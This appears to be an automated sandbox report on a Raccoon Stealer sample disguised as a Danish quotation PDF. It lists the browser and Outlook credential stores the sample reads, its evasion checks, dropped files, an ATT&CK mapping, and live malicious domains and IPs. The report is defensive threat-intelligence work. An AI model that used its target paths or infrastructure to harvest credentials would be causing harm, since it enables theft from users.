Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Code function: 12_2_6D0F84D6 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		12_2_6D0F84D6

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Process created: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe 'C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 10 /NOBREAK			Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 12_2_6D0E149E cpuid

12_2_6D0E149E

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Code function: 12_2_6D0EB95E GetSystemTimeAdjustment,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

12_2_6D0EB95E

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings	Jump to behavior
Source: C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Jump to behavior

Remote Access Functionality:

Yara detected Raccoon Stealer

Show sources

Source: Yara match

File source: Process Memory Space: Anmodning om tilbud 12-04-2021#U00b7pdf.exe PID: 4552, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection11	Masquerading1	OS Credential Dumping1	System Time Discovery1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion22	LSASS Memory	Security Software Discovery731	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection11	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Local System1	Automated Exfiltration	Application Layer Protocol12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Virtualization/Sandbox Evasion22	Distributed Component Object Model	Clipboard Data1	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information3	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery335	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	0%	Virustotal	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleHandler.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	0%	Virustotal	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	0%	Virustotal	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	3%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	0%	Virustotal	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	0%	Virustotal	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll	0%	Metadefender	Browse
C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
telete.in	11%	Virustotal		Browse
belochkaneprihoditodna.top	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	0%	URL Reputation	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	0%	URL Reputation	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	0%	URL Reputation	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	URL Reputation	safe
http://fedir.comsign.co.il/crl/ComSignCA.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersroot.crl0	0%	URL Reputation	safe
https://repository.luxtrust.lu0	0%	URL Reputation	safe
https://repository.luxtrust.lu0	0%	URL Reputation	safe
https://repository.luxtrust.lu0	0%	URL Reputation	safe
https://repository.luxtrust.lu0	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersroot.html0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://www.chambersign.org1	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl0	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	0%	URL Reputation	safe
https://www.catcert.net/verarrel	0%	URL Reputation	safe
https://www.catcert.net/verarrel	0%	URL Reputation	safe
https://www.catcert.net/verarrel	0%	URL Reputation	safe
https://www.catcert.net/verarrel	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://www.certplus.com/CRL/class2.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	URL Reputation	safe
http://crl.chambersign.org/chambersignroot.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
http://crl.xrampsecurity.com/XGCA.crl0	0%	URL Reputation	safe
https://www.catcert.net/verarrel05	0%	URL Reputation	safe
https://www.catcert.net/verarrel05	0%	URL Reputation	safe
https://www.catcert.net/verarrel05	0%	URL Reputation	safe
https://www.catcert.net/verarrel05	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.quovadis.bm0	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
https://ocsp.quovadisoffshore.com0	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	URL Reputation	safe
http://www.pkioverheid.nl/policies/root-policy-G20	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersignroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersignroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersignroot.html0	0%	URL Reputation	safe
http://cps.chambersign.org/cps/chambersignroot.html0	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe
http://policy.camerfirma.com0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
telete.in	195.201.225.248	true	true	11%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	216.58.215.225	true	false		high
belochkaneprihoditodna.top	195.123.215.115	true	false	0%, Virustotal, Browse	unknown
doc-00-7g-docs.googleusercontent.com	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	false		high
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fedir.comsign.co.il/crl/ComSignCA.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.12.dr	false		high
https://duckduckgo.com/ac/?q=	Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	false		high
http://crl.chambersign.org/chambersroot.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.accv.es/legislacion_c.htm0U	nssckbi.dll.12.dr	false		high
http://www.certicamara.com/dpc/0Z	nssckbi.dll.12.dr	false		high
https://repository.luxtrust.lu0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.accv.es0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.thawte.com0	mozglue.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.mozilla.com0	mozglue.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.chambersign.org1	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.firmaprofesional.com/cps0	nssckbi.dll.12.dr	false		high
http://www.diginotar.nl/cps/pkioverheid0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.swisssign.com/0	nssckbi.dll.12.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	false		high
http://crl.securetrust.com/SGCA.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	false		high
https://www.catcert.net/verarrel	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	mozglue.dll.12.dr	false		high
http://www.certplus.com/CRL/class2.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	nssckbi.dll.12.dr	false		high
http://www.quovadisglobal.com/cps0	nssckbi.dll.12.dr	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	nssckbi.dll.12.dr	false		high
http://crl.chambersign.org/chambersignroot.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.catcert.net/verarrel05	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.quovadis.bm0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.accv.es00	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ocsp.quovadisoffshore.com0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.pkioverheid.nl/policies/root-policy-G20	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.cert.fnmt.es/dpcs/0	nssckbi.dll.12.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	false		high
http://cps.chambersign.org/cps/chambersignroot.html0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	sqlite3.dll.12.dr	false		high
http://policy.camerfirma.com0	nssckbi.dll.12.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Anmodning om tilbud 12-04-2021#U00b7pdf.exe, 0000000C.00000003.862159056.0000000066921000.00000004.00000001.sdmp, 1xVPfvJcrg.12.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
195.201.225.248	telete.in	Germany	24940	HETZNER-ASDE	true
216.58.215.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
195.123.215.115	belochkaneprihoditodna.top	Bulgaria	50979	ITL-LV	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	385424
Start date:	12.04.2021
Start time:	13:44:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Anmodning om tilbud 12-04-2021#U00b7pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/67@3/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 75.3% (good quality ratio 60.3%) Quality average: 60.8% Quality standard deviation: 38%
HCA Information:	Successful, ratio: 76% Number of executed functions: 79 Number of non-executed functions: 78
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption Stop behavior analysis, all processes terminated
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 104.43.193.48, 92.122.145.220, 52.147.198.201, 13.64.90.137, 40.88.32.150, 13.88.21.125, 168.61.161.212, 20.82.210.154, 205.185.216.42, 205.185.216.10, 92.122.213.194, 92.122.213.247, 104.43.139.144, 216.58.215.238, 20.54.26.129 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, arc.trafficmanager.net, drive.google.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, skypedataprdcolcus16.cloudapp.net, skypedataprdcolcus15.cloudapp.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
195.201.225.248	http://telete.in	Get hash	malicious	Browse	telete.in/
195.123.215.115	setup - 2021-04-09T114140.132.exe	Get hash	malicious	Browse	gclean.in/decision.php?pub=mixruzki
195.123.215.115	setup(1).exe	Get hash	malicious	Browse	gclean.in/decision.php?pub=mixnull

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
telete.in	R496CkgPqa.exe	Get hash	malicious	Browse	195.201.225.248
	qTlPus8IDT.exe	Get hash	malicious	Browse	195.201.225.248
	phantom.exe	Get hash	malicious	Browse	195.201.225.248
	C++ Dropper.exe	Get hash	malicious	Browse	195.201.225.248
	rGnw6yNeQi.exe	Get hash	malicious	Browse	195.201.225.248
	tdGFhgEQeh.exe	Get hash	malicious	Browse	195.201.225.248
	rnd382WXs3.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.19715.exe	Get hash	malicious	Browse	195.201.225.248
	toolspab2.exe	Get hash	malicious	Browse	195.201.225.248
	gePWRo7op0.exe	Get hash	malicious	Browse	195.201.225.248
	u0r63PfgIe.exe	Get hash	malicious	Browse	195.201.225.248
	bCHfpHFeTj.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.19239.exe	Get hash	malicious	Browse	195.201.225.248
	OpPemC578S.exe	Get hash	malicious	Browse	195.201.225.248
	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe	Get hash	malicious	Browse	195.201.225.248
	vgUgvbLjyI.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware2.22480.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.16239.exe	Get hash	malicious	Browse	195.201.225.248
	SecuriteInfo.com.W32.AIDetect.malware1.23167.exe	Get hash	malicious	Browse	195.201.225.248
	40JHtWiswn.exe	Get hash	malicious	Browse	195.201.225.248

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ITL-LV	R496CkgPqa.exe	Get hash	malicious	Browse	195.123.215.115
	qTlPus8IDT.exe	Get hash	malicious	Browse	195.123.215.115
	phantom.exe	Get hash	malicious	Browse	195.123.215.115
	output(1).exe	Get hash	malicious	Browse	195.123.215.115
	setup - 2021-04-09T114140.132.exe	Get hash	malicious	Browse	195.123.215.115
	C++ Dropper.exe	Get hash	malicious	Browse	195.123.215.115
	setup(1).exe	Get hash	malicious	Browse	195.123.215.115
	Tmd7W7qwQw.dll	Get hash	malicious	Browse	195.123.214.44
	9R5WtLGEAy.dll	Get hash	malicious	Browse	195.123.214.44
	SecuriteInfo.com.W32.AIDetect.malware1.19239.exe	Get hash	malicious	Browse	195.123.215.67
	61444453825_03222021.xlsm	Get hash	malicious	Browse	195.123.210.231
	61444453825_03222021.xlsm	Get hash	malicious	Browse	195.123.210.231
	7728839942-04012021.xlsm	Get hash	malicious	Browse	195.123.210.248
	7728839942-04012021.xlsm	Get hash	malicious	Browse	195.123.210.248
	7728839942-04012021.xlsm	Get hash	malicious	Browse	195.123.210.248
	9642351931-04012021.xlsm	Get hash	malicious	Browse	195.123.210.186
	91844756223-04012021.xlsm	Get hash	malicious	Browse	195.123.210.186
	9497306271-04012021.xlsm	Get hash	malicious	Browse	195.123.210.186
	7122681326-04012021.xlsm	Get hash	malicious	Browse	195.123.210.248
	9497306271-04012021.xlsm	Get hash	malicious	Browse	195.123.210.186
HETZNER-ASDE	SecuriteInfo.com.Trojan.Packed.24465.17731.exe	Get hash	malicious	Browse	148.251.48.16
	SecuriteInfo.com.Trojan.Packed.24465.12290.exe	Get hash	malicious	Browse	148.251.48.16
	SecuriteInfo.com.Trojan.Packed.24465.2847.exe	Get hash	malicious	Browse	148.251.48.16
	Bank Details.xlsx	Get hash	malicious	Browse	144.76.242.196
	R496CkgPqa.exe	Get hash	malicious	Browse	195.201.225.248
	qTlPus8IDT.exe	Get hash	malicious	Browse	195.201.225.248
	phantom.exe	Get hash	malicious	Browse	195.201.225.248
	output(1).exe	Get hash	malicious	Browse	95.216.186.40
	C++ Dropper.exe	Get hash	malicious	Browse	88.99.66.31
	rGnw6yNeQi.exe	Get hash	malicious	Browse	195.201.225.248
	89BA6CA01979A51DD5E8FEE7D80E8D69322531BA35775.exe	Get hash	malicious	Browse	136.243.104.235
